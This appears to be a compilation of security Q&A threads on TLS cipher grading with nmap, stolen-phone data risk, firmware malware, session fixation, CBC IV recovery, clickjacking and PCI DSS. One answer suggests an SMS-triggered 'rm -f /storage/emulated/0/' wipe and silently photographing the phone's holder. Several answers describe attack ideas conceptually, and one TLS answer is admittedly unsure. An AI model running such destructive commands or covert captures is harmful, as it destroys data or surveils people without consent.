Clarifications regarding ciphers and Nmap scan I'm running the below Nmap command to test the strength of the cipher suites I have used in my host

nmap -sV --script ssl-enum-ciphers -p 443 <host>

The Nmap doc says that Each ciphersuite is shown with a letter grade (A through F) indicating the strength of the connection and the output line beginning with Least strength shows the strength of the weakest cipher offered

When I ran the command against the host I got the output as shown below

| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 768) - E
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 768) - C
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 768) - E
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: client
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Key exchange (dh 768) of lower strength than certificate key
|   TLSv1.1:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 768) - E
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 768) - C
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 768) - E
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: client
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Key exchange (dh 768) of lower strength than certificate key
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 768) - E
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 768) - C
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: client
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Key exchange (dh 768) of lower strength than certificate key
|_  least strength: E

My questions

As per the doc, the Ciphers marked as "E" is the weak cipher and in another way can I consider the cipher marked as "A" as the strong cipher?
TLS_RSA_WITH_AES_128_CBC_SHA is marked as "A" here, but in some discussions, I have observed it is mentioned as WEAK. Is it because of the SHA1 usage? if so why this is rated as "A" in NMAP?
I have configured the below cipher list on my server.

  ciphers="SSL_RSA_WITH_RC4_128_MD5,SSL_RSA_WITH_RC4_128_SHA,SSL_DHE_RSA_WITH_DES_CBC_SHA,SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_DHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"

but the ciphers such as SSL_RSA_WITH_RC4_128 is not available in the Nmap output, instead, there are ciphers like TLS_RSA_WITH_RC4_128, what is the reason for this? Can we use SSL and TLS interchangeably in the Ciphers?

Even though I have added the TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 as a cipher in my server, it wasn't available in the Nmap results, what might be the reason for this?

PS: I'm using JDK 1.7 as the underlying JDK version for the server

You are asking multiple unrelated questions which is not the recommended way to ask and chances are that the question might be closed as too broad or as duplicate since some part was already answered somewhere else. Still, to give some short answers:

  As per the doc, the Ciphers marked as "E" is the weak cipher and in another way can I consider the cipher marked as "A" as the strong cipher?

It clearly says in the documentation

  The scoring is based on the Qualys SSL Labs SSL Server Rating Guide, but does not take protocol support (TLS version) into account, which makes up 30% of the SSL Labs rating.

The relevant guide can be easily found and it includes an explanation of the scoring at the very beginning. But yes, 'A' means essentially stronger then 'B' etc.

  TLS_RSA_WITH_AES_128_CBC_SHA is marked as "A" here, but in some discussions, I have observed it is mentioned as WEAK. Is it because of the SHA1 usage? if so why this is rated as "A" in NMAP?

Because the nmap script is based on a guide from 2009. While TLS_RSA_WITH_AES_128_CBC_SHA isn't weak it would today probably be graded down to B since it uses RSA key exchange (no forward secrecy). But it is far from weak and I don't know who claimed this (please always add links if you cite opinions from somewhere else).

  ...SSL_RSA_WITH_RC4_128 is not available in the Nmap output, instead, there are ciphers like TLS_RSA_WITH_RC4_128...

These are the same. There are several naming conventions originating from different times or software products.

  Even though I have added the TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 as a cipher in my server, it wasn't available in the Nmap results, what might be the reason for this?

As you can see there are only RSA ciphers in the nmap output. This is because you are using a certificate with an RSA key. For ECDSA ciphers you would need to use a certificate with an ECC key.


Can a stolen Android phone with USB debugging enabled have screen lock bypassed? My Android (8.0) phone was pickpocketed from me yesterday.  It was immediately turned off by the thief and when I tried to locate it using Find My Device it shows as offline.

As a programmer and a security enthusiast, I started to worry about what data can be vulnerable on the phone. I had a screen lock on but it didn't have full-disk encryption enabled (my bad, I know).

I saw on the internet that people can bypass the screen lock using fastboot and deleting some files, but does that only work for rooted phones, or am I vulnerable too?

I probably had USB Debugging enabled as I developed an Android app in the past and tested it on my device.  However I remember that you must trust the computer before using it, so maybe this doesn't make my device more vulnerable?

My phone wasn't rooted though, so I believe that for the thief to bypass the screen lock they would need to unlock my bootloader which would definitely wipe my data.

I'm only worried about the data.  If the only way to bypass the screen lock would be to wipe the data, then I'm ok.

What are your thoughts on this?

A sophisticated threat actor could potentially try to exploit the Android Debug Bridge's authorization protocol by switching your phone's storage media to another same model phone with already active ADB/ADBD authorizations (based on HWID like the network chip's MAC address) and maybe some additional tinkering.
From then on, provided he knew how to get there, even an encrypted device might be under threat of full decryption. Depending on multiple factors, like OS version, startup default mode (lockdown or not), ADBD startup policies...
The key factor here is the fact nothing is encrypted and USB Debugging is enabled.
Essentially anyone with slight IT knowledge should be able to access everything in there.
I'm fairly certain your phone will get wiped and sold.
Protips:

No root.
No debug.
Latest updates.
Full device encryption.
Disable PIN/Fingerprint/Face unlock (Either completely disabled or
lockdown-only disable)
Strong password.

*This should take care of the unfortunate event where your phone is not in your possession and not communicating through any channels (e.g. SIM removed, WiFi disabled).
Optional:

Tasker Automations in case you need to remotely wipe your communicating phone.

e.g. perform rm -f /storage/emulated/0/ when "X" message is received by text, effectively launching wipes from SMS/GSM instead of Data/WiFi
e.g. Launch camera silently to snap the person's face/geolocation

Keep an eye on Google's Find My Phone.

Last note: There is no current known exploit for ADB that would allow a bypass that I am aware of and my post takes in consideration many "if", including possible exploits that are yet to be discovered (e.g. when checkra1n came out, it affected a lot of older versions which in turned allowed other bypasses).


Can BIOS malware be installed from OS? Can an OS vulnerability be exploited to install BIOS/UEFI/firmware malware (such as a keylogger)? I know BIOS is a "deeper" level than the OS. I know firmware based keyloggers exist. I know they can be installed by an adversary flashing the BIOS. But can an OS i.e. Windows write to the firmware? Could a hacker theoretically (whether or not this has ever been done) exploit a security vulnerability in a victim's operating system and use that to flash the BIOS or otherwise install malware into the firmware? And if not, then how could someone remotely flash/infect the BIOS? And how can that be protected against?

Firmware configuration
Writing to the BIOS is a privileged operation, only doable by the superuser. Many BIOSes attempt to prevent this, for example by locking the SPI write bit and limiting the ability of SMM to interact with the BIOS. Unfortunately, there are so many ways to modify the BIOS that many (most?) firmware vendors do not adequately lock down the configuration, allowing the superuser to modify it. Whether or not a given system has a vulnerable BIOS can be determined using the CHIPSEC framework. It scans the system for common misconfigurations and reports them, along with the implications. It will report on whether or not all the required lock bits are set at boot. In many cases they simply are not.
This is not necessarily sufficient for protecting against an attacker with privileged access. A sufficiently advanced attacker, even if they cannot modify the BIOS, may still be able to modify option ROMs or even storage device firmware. At the very least, they may be able to physically damage the computer by repeatedly writing to non-volatile write-sensitive storage such as NVRAM (at least the kind that uses flash instead of battery-backed SRAM). But regardless of other remaining risks, locking down the BIOS, or at least determining if it is locked down, is the first step.
Additionally, privileged tasks have access to low-level interfaces on the system. There has been an increase in firmware security research lately which has shown that, even with all locks properly configured, the sheer complexity and difficulty in patching systems makes bugs pervasive. This can manifest itself simply as ways to bypass firmware security, or even ways to get even more privileges.
Measured boot
Many modern systems come with Intel BootGuard, a technology which allows a signed BIOS to be verified by the physical chipset itself before booting. While it is not perfect, it makes attempts to prevent unsigned firmware from running, even if the firmware is able to be modified. This requires a modern system that has been pre-assembled by an OEM. If this is not the case, a TPM can be used instead to verify the integrity of the BIOS, alerting you if there have been any modifications.
BootGuard works by digitally signing the BIOS. The key used for verification is burned into the PCH at assembly time by the OEM. When the system boots, the BIOS' signature is verified by the public key. An attacker is not able to modify this public key as it is written to OTP (one-time programmable) fuses.
The TPM works a little differently. A read-only bit of code in the BIOS called the CRTM sends a copy of the BIOS hash to the TPM. This then happens with the rest of the system's configuration, such as boot settings, option ROMs, and the MBR. If all these hashes match the expected value, the TPM will unseal a secret value it has been securely storing. This value can be an encryption key necessary to finish booting, or it can be a secret value known only to you, such that an attacker, even one who can modify the contents of the screen, cannot impersonate an unsealed TPM.
Summary
It is not always possible to effectively write protect your firmware, whether from hardware or software threats. In general, if an attacker has malicious local (even if not physical) access to your machine with high privileges, they can typically do whatever they want. The best solution is to prevent them from getting high privileges in the first place. If that is not possible, then there are only three solutions:

Ensure your BIOS locks all required bits, as can be determined by CHIPSEC.
Use a system with Intel BootGuard supported and enabled.
Make use of a TPM to provide measured boot. This is not always practical.


Firewall log entry: need help in interpretation I recently setup an Hardware UTM Firewall. The firewall log shows the this entry every 20 seconds:

/var/log/packetfilter/2014/09/packetfilter-2014-09-30.log.gz:2014:09:30-12:06:15
utm ulogd[11342]:
id="2001"
severity="info"
sys="SecureNet"
sub="packetfilter"
name="Packet dropped"
action="drop"
fwrule="60002"
initf="eth1"
outitf="eth0"
srcmac="0:20:4d:81:60:5e"
dstmac="68:5:ca:2a:12:ba"
srcip="192.168.1.28"
dstip="144.76.96.172"
proto="6"
length="52"
tos="0x00"
prec="0x00"
ttl="127"
srcport="49242"
dstport="5222"
tcpflags="SYN"

What I understand is that host x.x.x.28 is sending a packet to 144.76.96.172 and it gets dropped. That is ok and as designed from the firewalls point of view.

But host .28 should not send anything to this IP address.

How could I identify the application or the process that is sending this packet?
Whats tools could I use?

Added more infos as requested in the first comment:

  But you've not told us anything about the architecture of the network or the hosts.

LAN network 192.168.1.x
gateway and DHCP: 192.168.1.1
NAT translation to WAN

  Have you verified that 192.168.0.0 traffic only comes from your internal network?

The Firewall only has one LAN to watch. It does the DHCP and NAT. It is properly configured. But I do not know how I can verify this.

  have you verified that the MAC address is appropriate to the srcip? What OS is running at the srcip?

I verified and it is. Win 7 64bit

This entry also specify that this machine is trying to establish a TCP connection to port  5222 on the remote system. TCP 5222 is, usually, XMPP (Jabber).

The next step is typically to go on the machine and find out which application is trying to open that connection and if it's legitimate or not. How you do that depends entirely on the operating system you use, though.


Should the OAuth client_id be kept confidential? I want my OAuth Authorization Server Owner to show (information about) the clients that have been registered. Is it ok to use the client_id as public client identifier or should the client_id also be confidential (like client_secret)? I'd also share client metadata client_name and client_uri to show a list of registered clients but these are not problematic. Sure I could add another indirection by managing an internal mapping between public client ids and client_id but is this actually necessary from security point of view?

Your client_id is like your username or e-mail address you use to authenticate your application/service to OAuth. It's not exactly top-secret, but putting it out in the public domain might also be undesirable.

Especially if you're going to combine it in a list along with the client_name and redirect_uri it becomes a little dangerous. Because you're giving out pretty much all the client information, it could become an interesting list for attackers. If they want to target any of the apps/services on your list, they already have a lot of information and still only need to "crack" the secret to identify themselves as your client. Of course, cracking the secret should not be a very easy task, but you are basically giving away some free information that's normally not part of the public domain.

I'd advise caution when you decide to go on with this, like not have pages/lists like this indexed by search engines (if it's an online list), stored on a public folder in your home/company network (if it's a digital list) or lying around on your desk (when it's a physical list).


Signed request vs HTTP digest auth for API authentication? By signed request I mean something like this (simplified example):

Client creates a sig in his request:
$sig = hash('sha256', $api_key.$data); which generates 7409ur0k0asidjko2j for example. He then  sends this to his request: example.com/api/7409ur0k0asidjko2j

Now, the receiving server then performs the exact process to perform a match for the sig.

Which is generally more secure, a signed request like this or an HTTP digest auth for the purpose of authenticating requests to an API server? Note we assume SSL is not installed.

If the signature covers the whole request, then integrity is guaranteed. Request replay is still a potential threat (think: resource abuse).

With HTTP digest authentication, the request could be modified in transit. You are at the mercy of a MITM (Man In The Middle) attack.

Anyway, you should really use TLS provides transport level security:

guaranty of confidentially of payload, not just of password or authenticator (but not payload size! be careful if payload size can reveal useful information)
guaranty of integrity of payload (but no guaranty WRT client IP address!)


Does the ability for a user to choose the value of a session id cookie constitute a security flaw? In the context of a web application, a user connects to this application and a session id cookie is set to authenticate the user for next requests. As the cookie is actually present before submitting the login form, there is no new value generated on login success but instead, the value present in the cookie is taken as it is. So a normal user can choose to set the value to ‘0000000000000000000000000000’ for example.

Now I don’t know, but maybe there is a way for an attacker to set the cookie value of a victim before he/she logs in and once the login succeed, the value becomes valid and accepted for the server and then can be used by the attacker to enter the victim’s account.

So, is there a security risk in the fact that the value of the session id cookie is not necessarily chosen by the server?

EDIT:
Some precisions regarding the first answers. I removed the tag "attack-prevention" because I just want to evaluate the risk of the scenario described as it is. I know HTTPS could resolve many security concerns but this is not exactly the question.

Yes there's a risk as this is a classic session fixation issue (OWASP Page).  Standard good practice for web application session management would always be to re-issue a random session token whenever the user submits a login.  Anything else (either not re-issuing on login or allowing user set session token values) is not a good idea.

How much of an issue this is depends on exactly how the application works and the user environment.  Some examples of this being a risk

A lot of web sites have unauthenticated ares which are not encrypted.  so if the token is set on these and then not re-isued, the token can be hijacked by a packet sniffing attack (e.g. over a wireless network) before the user logs in and then the authenticated session can be hijacked
If the application is accessed from a shared PC environment then an attacker who can set the value of the token in an open browser, would be able to hijack a users session if they use the system without closing and re-opening the browser (assuming that the token is deleted when the browser is closed).


GPG: Is 'pubring.kbx' safe to share? This public keyring pubring.kbx (as I merely guess from the name) must be safe to share publicly or is it not?  Does it contain any sensitive information with respect to private keys?

I want to back up this file and I'm curious what is the best practice for it given answers to the above questions.  Like would it be fine to just commit it to version control (along with gpg.conf, for instance) as is or rather gpg --armor --export to be used in this case?

I found someone asking the same question on the gnupg mailing list archive.

  This a database file storing the certificates as well as
  meta information. For debugging purposes the tool kbxutil may be
  used to show the internal structure of this file. You should backup
  this file.

Source : http://gnupg.10057.n7.nabble.com/What-is-pubring-kbx-td50294.html


Reusing Private/Public Keys I have accounts on several third party sites - Bitbucket, Bluehost, etc.

From what I've gathered, it is common practice to use one key pair for all [id_rsa, id_rsa.pub], but only to give out the public key

Is that the correct usage, or is it better to generate a new pair for each site?

It would seem to me that this is insecure - any site I trust with nefarious intention [or that is hacked] could take my private key when I connect the first time, and use it to go into the other sites.

Can someone who understands SSH verify that its safe to use one key pair everywhere, and if so, perhaps explain why?

Also, if I have two home computers, is there any reason to use different key pairs from each?

Thanks all.

Your private key is never sent to the other site so it's perfectly safe to reuse the public key. It's also OK to reuse the same key your local computers. However, bear in mind that if someone steals the key, they then have access to all of them. This may or may not be a concern.


IV Reverse AES-256-CBC PKCS#7 I'm a freshmen in cryptography and want to know more about IV reversing.
There's a lot of posts about finding the passphrase with a new IV. But what about the other situation? This is for educational purposes.

I have a cypher text :

cY1Y1VPXbhUqzYLIOVR0RhUXD5l+dmymBfr1vIKlyqD8KqHUUp2I3dhFXgASdGWzRhOdTj8WWFTJ PK0k/GDEVUBDCk1MiB8rCmTZluVHImczlOXEwJSUEgwDHA6AbiCwyAU58e9j9QbN+HwEm1TPKHQ6 JrIOpdFWoYjS+cUCZfo/85Lqi26Gj7JJxCDF8PrBp/EtHLmmTmaAVWS0ID2cJpdmNDl54N7tg5TF TrdtcIplc1tDvoCLFPEomNa5booC

The corresponding plain text  :

Marvin: "I am at a rough estimate thirty billion times more intelligent than you. Let me give you an example. Think of a number, any number."
Zem: "Er, five."
Marvin: "Wrong. You see?"

And the passphrase :

AQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRqrHB0eHyA=

I looked here and here but haven't found what I need.

How can I use those to find the IV? The IV length is unknown.

Its AES in CBC mode with PKCS#7 padding.

The IV in CBC is XOR'ed with the plaintext. This results in the following value in hexadecimals:

043e1e461f5d6563503050155d7f5b5d

and "Marvin: \"I am at" is:

4d617276696e3a20224920616d206174

so the IV will be the two values XOR'ed:

495f6c3076335f4372797074305f3a29


mRemoteNG monitoring the clipboard constantly? Using mRemoteNG 1.75.7012.16814 and Password Depot 11 on Windows 10.

The issue: If mRemoteNG is running, and I copy a password from Password Depot to the clipboard, I get this message from Password Depot:

I went through the settings of mRemoteNG, cannot find any "disable clipboard monitoring"
When I installed mRemoteNG, Virustotal said the installer is clean.
I uploaded the mRemoteNG.exe to Virustotal now, it said 100% clean.

The Question: anybody knows, is this a normal behaviour of mRemoteNG?

Or this is normal, since maybe the mRemoteNG.exe isn't a signed/trusted binary? If I right click on the .exe and "Digital Signatures", there is one, clicking on "Details" for it, then "View Certificate", then "Certification Path", I can see a "This certificate is OK."

mRemoteNG has to view the clipboard, as it synchronizes it to the remote host. This is intended and normal behavior for remote desktop software, when you configure it to do clipboard mirroring.


Any recipient can modify an order confirmation mail, right? Does this ever matter? I have boldly stated that there is no way to 'write protect' an e-mail, but want to be sure of my ground.
Surely, if Joe Bloggs receives an e-mail from me (or my e-commerce site or a web application written by me) saying -  "I will sell you X for $10 ", he could modify that price to, say, $9, and forward it to someone or save the e-mail, but so what?
The original e-mail will always be accessible and traceable on mail servers and a copy in mail clients of all recipients.
So, therefore, there is no need to do this. And it is not possible anyway.
Is this true?

Your issue is one of integrity, whereby a recipient can take an email you sent them, alter the contents, then forward them to a 3rd party. This might be problematic if an agent or middle-man decides to bloat up the prices and take a cut off the top.

There are two ways of solving this:

Digitally sign the message using a technology such as PGP, and ensure that all potential recipients are aware that you always sign your mail. This provides proof of authenticity, and gives you grounds to refute claims by any 3rd party.
Provide an out-of-band copy of some or all of the content. This could be achieved by logging quote details on the server, along with a "quote ID", which is sent with the email. This gives you a record of the quote, along with the details that were used and the price that was shown.

I would go for option 2 in your situation, since it doesn't require clients to be tech savvy.


Isn't microtime() or mt_rand() sufficient for password reset? In Can anyone provide references for implementing web application self password reset mechanisms properly? it is mentioned to use strong cryptographic randomness to generate the reset token that is emailed.

If we used microtime() an attacker could only guess to within 1 second so they would have to brute force thousands of possible tokens.. but the token can expire after a single failed attempt.

With mt_rand() an attacker would need to reset 700 passwords to get enough information to piece together the random state, but that's assuming each call is consecutive.. other people making use of the site would make trigger mt_rand calls that the attacker is not aware of.

So it seems in both situations the attacker is thwarted. Of course it's better to be safe than sorry so it's better to use cryptographic random numbers but I'm wondering if it's an actual vulnerability not to.

This paper shows several attack methods on PHP's random functions. At the end of the paper you can find an example of a secure token generation function.


What is the risk of leaking IMEI / IMSI numbers over a network Should I worry if a developer programmed an app to send IMEI / IMSI number of the phone where the app is installed back to him? What can an attacker do with such information?

The IMEI is a unique worldwide identifier for the phone (the hardware element), while the IMSI is a unique worldwide identifier for the SIM card (so it more-or-less maps to the human user who owns it). See this page. Both are sent "as is" over the air, and thus can be obtained by any attacker with an antenna and located in the vicinity. Knowledge of the IMEI and/or IMSI of some user does not give extra ways to break into the communications of that user; they are not secret values.

However...

There may be a slight privacy concern about IMEI and IMSI, in that they allow to "track" user habits:

An application could generate a random unique identifier each time it is installed on a phone. However, by using the IMEI, the application can tell whether it is re-installed on a given phone; it can also be used to cross-reference the table of known installed application instances with cell phone locations obtained through passive radio listening from some base station.
The IMSI "follows" the user when he switches phones (he transfers his SIM card from his old phone to his new phone).

I can imagine an app which is linked to some "account" on a server; using the IMSI allows the server to more easily automate "relinking" the app when the user switches phones. By the same reason, users can feel that their privacy is breached in that they would like to be able to re-install their app and/or switch phones to "start anew" with a distinct account which is not linkable to their own account.

To a large extent, users can consider their IMSI to be the phone equivalent of their email address. An app which automatically send the IMSI to a server is as much a security or privacy issue as a software application which automatically sends the user email to a remote server; many people would feel uncomfortable at the latter, and it begs the question of why it is done in the first place.

Of course, if an app does something stupid like using the IMEI or IMSI as an authentication token, e.g. a kind of password to access data on a remote server, then learning the IMEI or IMSI opens access to that data. But that's what you get when you use non-secret data as if it was secret.


Tools to demonstrate NO storage of cardholder data Our organization has been asked to comply with PCI DSS.

As part of IT Department, we need to demonstrate that none of our IT infrastructure stores any carhdolder data nor sensitive authetication data. That is like 7 types of data (i.e PAN, cardholder name, service code, expiration date, full magnetic stripe, validation code, PIN)
We have tried some tools that search files and helps us to identify PANs, but none of them identify patterns for the rest of the data types such as service code, full magnetic stripe or validation code which are sensitive data and according to PCI should not be stored whatsoever.
How could we perform a similar scanning in a database?

What would be the best technical way to demonstrate we don't store any of that data?

As one comment above says, you're trying to prove a negative and that's quite difficult! Using tools which search for regular expressions are useful but they often return many false positives and are unable to search many file types. As a result, the use of a tool should be a single tool within your arsenal.

You can review what systems and application handle cardholder data and look at log files, error files, database tables and verify cardholder data is not present. If you used to have cardholder data, you could review the legacy storage locations and verify any purges have been successful and that backup media has been over-written or destroyed.

The PCI DSS scope states that the PAN is the defining factor for cardholder data. If you have a cardholder name or expiration date and no PAN, there's no issue.


How can we assure Non-repudiation without a personal certificate (eg. using ID authentication) I need a help to understand some specific points about non-repudiation, nonetheless I implemented some authentication methods:

Digital Signature Authentication;
CHAP (Challenge Authentication Protocol)
Zero-knowledge password proof

Let's imagine a situation that a user is authenticated either by TFA or SFA to his bank system using some devices with virtual MAC Addresses or other ways I don't know to hide device identity.
The user makes some transactions, then goes to the bank complaining for an attack on his/her account and claiming for a money recovery.

How could we prevent this situation without Digital Signature Authentication? Can we do this with just TFA or are there some ways to do this? I don't think the user can be unmasked by finding his IP provided by some DHP. Is there a way to at least find the user's real MAC Address?

Think you can apply Something You Know, Have, or Are authentication principle, right now many fintech business use many different "2 of 3" combinations on this, like password+phone authenticator, registered phone number+fingerprint, etc. but as @maarten-bodewes stated, optimal solution to this answer lies on social context where it would be implemented.


Standard Protocols or secure mechanism to authenticate users offline We have a use case wherein a mobile app that can be used by multiple users on the same device needs to authenticate the users in some offline scenarios. We were using Password grant as in OAuth2 to check the password when the user is online and storing the password's PBKDF2 hash in the device. I know this is less secure, is there any better alternative?

I would use something more modern than PBKDF2 (unless required for compliance reasons), and would put an expiration on the local password hashes and local user data (refreshed every time the user successfully authenticates via the server). Also make sure that, if the user tries to log in using the server and fails (as might happen if the user was deleted/disabled or their password changed), their password hash (and any locally-cached data, as I assume you must have) is deleted so that they can't go offline and log in again.

The critical place this breaks down, of course, is if some user (or other app on the device) has root access, or at least enough privileges to poke into your app's local storage. Then they could change the password hashes (gaining the ability to log in offline as anybody), and read or modify the user data stored in the app (even if it was stored for a user whose actual password they don't know).
Thus, you should consider encrypting each user's local data cache with a key specific to the user (probably derived from their password, ideally using a different hashing process and/or salt than the one used to authenticate the user). Don't actually store the encryption key at all; force it to be re-derived each time. That way, user Alice can't access user Bob's data on the device, even if Alice has root access and can reset Bob's password hash.


What's the goal behind signing a CRL with an old certificate key? I was reading a CPS/CP for a CA, and it mentioned that there's a possibility after rekey that you can still use the old key to sign CRLs of the old end user certificates verified by the old CA certificate, the only case where I see that would be applicable is if a browser for example doesn't add the new CA certificate in its trust store for a period of time and so it can't verify the new CRLs, is that the case?

Correct.  There is no reason to invalidate all issued certificates when a CA decides it needs to re-key - that would simply cause chaos.  As such, all those extant certificates need to be managed throughout their life-cycle.  In order for clients to continue to carry out revocation checking on any of these certificates the CA must continue to sign a CRL with the original key-pair; as well as a sign a new CRL with the new key-pair.

The CA will now be signing multiple CRLs and clients will need to access the correct version.  Therefore the crlDistributionPoint extension on certificates signed by the new key-pair will have a different URL to the certificates signed by the original pair.  For example, Microsoft's ADCS appends a (n) to the filename for each re-key, where n increases by one each time.


Why we should not allow our pages to be loaded through Iframe by unknown hosts? One of OWASP recomendations is to set the header X-Frame-Options to allow our pages to be loaded in Iframes only by sameorigin.

One reason is because of phishing attacks, ok I understand. But if I were an attacker and the target was configured to set X-Frame-Options to sameorigin, I could just copy the target page layout (html, css, js etc) and insert in my site.

What another reason we have to configure this header?

Phishing isn't actually the main reason, although the scenario you describe doesn't work if you're trying to trick the user into thinking they're signed into a site and don't know what the site looks like for that user. Phishing isn't just used to steal credentials; it can also be used to trick a user into taking some action within their authenticated account that benefits the attacker (such as authorizing the attacker's app to access the victim's account).

As Jeroen mentioned, the major risk is clickjacking / UI Redressing (another term for the same thing) attacks, where an already-authenticated webapp is loaded in an iframe on a malicious site, and the malicious site draws on top of the iframe to trick you into clicking somewhere that takes an action on the signed-in site that you didn't intend.

Imagine something like Amazon's one-click purchase. Somebody wants to get a bunch of people to each buy a $5000 "musical album" of car traffic noise. Obviously, nobody is going to do this by choice, so the "seller" puts a website that loads their purchase page in an iframe, and draws what looks like a free online game over it. The "Start game" button is drawn over the same place as the "Buy with one click" button, but the "start game" button actually just a spot on the page where part of the "buy" button is visible (with the text overlaid with "Click there to start"). All the rest of the Amazon shopping page is invisible. Somebody (who is signed into their Amazon account) who tries to start the game will instead send the attacker a bunch of money for something worthless.

There are sometimes also other attacks. For example, older versions of IE would render an entire page using the same rendering engine version, including content in an iframe; you could abuse this to attack pages that are vulnerable to very old attacks but were normally loaded by safe versions by creating a page that triggers the very old behavior and putting the now-vulnerable page in it as an iframe. There are probably other attacks like that, where the top-level page can influence the behavior of a framed page (or at least learn something about it), even though that's not supposed to be possible now. The main concerns are clickjacking and sometimes phishing, though.


Openssl ciphers: what does Au=ECDH mean? I am trying to get a grasp on different stages of SSL. I have referred to some fantastic answers about how SSL/TLS works and specifically about authentication mechanisms, and numerous other sources.

But I am still confused about this: what does Au=ECDH mean for a cipher such as
ECDH-ECDSA-AES256-SHA. From the cmd line:

ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1

What I understand is that the server's certificate will have the DH public key (since this is fixed DH). The certificate will be signed by the CA. So what role do DSS (aka DSA) keys play here? Does the certificate have a DSS signature?

Secondly, since authentication is DSS, why say Au=ECDH?

EDIT:
If you have suggestions for a good resource to read specifically about Authentication mechanisms in SSL, I would appreciate it.

Taken from RFC4492 Section 2.1

  2.1.  ECDH_ECDSA

  In ECDH_ECDSA, the server's certificate MUST contain an ECDH-capable public
     key and be signed with ECDSA.

  A ServerKeyExchange MUST NOT be sent (the server's certificate contains all
     the necessary keying information required by the client to arrive at the
     premaster secret).

  The client generates an ECDH key pair on the same curve as the server's
     long-term public key and sends its public key in the ClientKeyExchange
     message (except when using client authentication algorithm ECDSA_fixed_ECDH or
     RSA_fixed_ECDH, in which case the modifications from Section 3.2 or Section
     3.3 apply).

So in this case the server's provides a DSA certificate containing an ECDH capable public key that's signed with ECDSA.  So to answer your first question, the server must be signed with ECDSA.  The authentication (Au) for the key exchange is still verified with ECDSA.  I could be wrong, but I think this might just be an error in OpenSSL's parsing.


Inspecting a TLS Certificate to determine RSA Key Usage restrictions With regard to this answer, I have a question about Key Usage in an SSL certificate.

  Most SSL server certificates have a RSA key which is not restricted
  through a Key Usage extension, so you can use both "RSA" and "DHE_RSA"
  key types.

How do I determine if my certificate has a key usage restriction?
Do all SSL Keys have an RSA key?
Is there only one key usage to look out for, or are there others?

Where should I learn more?

Not all certificates use RSA, but most do. A few months ago, I scanned a lot of random IP addresses to find SSL servers, and out of 10147 certificate chains (from 16027 servers -- there is considerable chain reuse), only 9 of them used anything else than RSA (6 with DSA keys, 3 with GOST keys; no Diffie-Hellman, no ECDSA). This is more than market dominance; RSA has an almost monopoly on cryptographic algorithms for SSL servers.

(I should write a Web page somewhere with all the stats.)

Apart from the Key Usage extension, a few other extensions can be relevant; see this answer for details.


Is PCI DSS applicable to other solutions than those dealing with payment cards? According to this quote from "applicability" section of PCI DSS it's not:

  The primary account number is the
  defining factor in the applicability
  of PCI DSS requirements. PCI DSS
  requirements are applicable if a
  primary account number (PAN) is
  stored, processed, or transmitted. If
  PAN is not stored, processed or
  transmitted, PCI DSS requirements do
  not apply.

But does it mean that it is not applicable at all? Or just that I'm not obliged for fulfill these requirements? If I want my solution (application) to be secure (= to be recognized as secure by large enterprises), should I implement the requirements anyway, or should I invest my time to some other set of recommendations? In other words - would the PCI compliance give me some credit when selling an application that is not dealing with payment cards, or is there some other, more generic standard?

Some of the PCI DSS requirements may apply to your situation (in fact, it's highly likely that some of them will). However, your application will have requirements that are specific to its problem domain, and that PCI does not address: similarly, PCI will make some requirements that are irrelevant (or even counterproductive) in your domain because they are specific to the domain of the payment card industry. Remember that standards, industry practices and checklists are a useful starting point for any endeavour, but that at some time you're going to have to solve your problem.

So in answer to your question about credit: if you're selling a livestock management application as PCI compliant, I would consider myself warned that you thought cows and credit cards were the same thing in creating your security model.


My app is asking for card details, but does not stores them. Do I need PCI compliance? I plan to build an Android/iPhone app. The app will contain a few forms and status screens. One of the screens will ask the user for their card details. Once they'll click submit they'll be sent over to a third-party via a secure channel (https); but not stored at all in the application.

Update: We will not be taking payments through the app, just provide a form for users to register their cards. Future request to the third-party include the userId and an authorization field.

Do I need PCI compliance in this case?

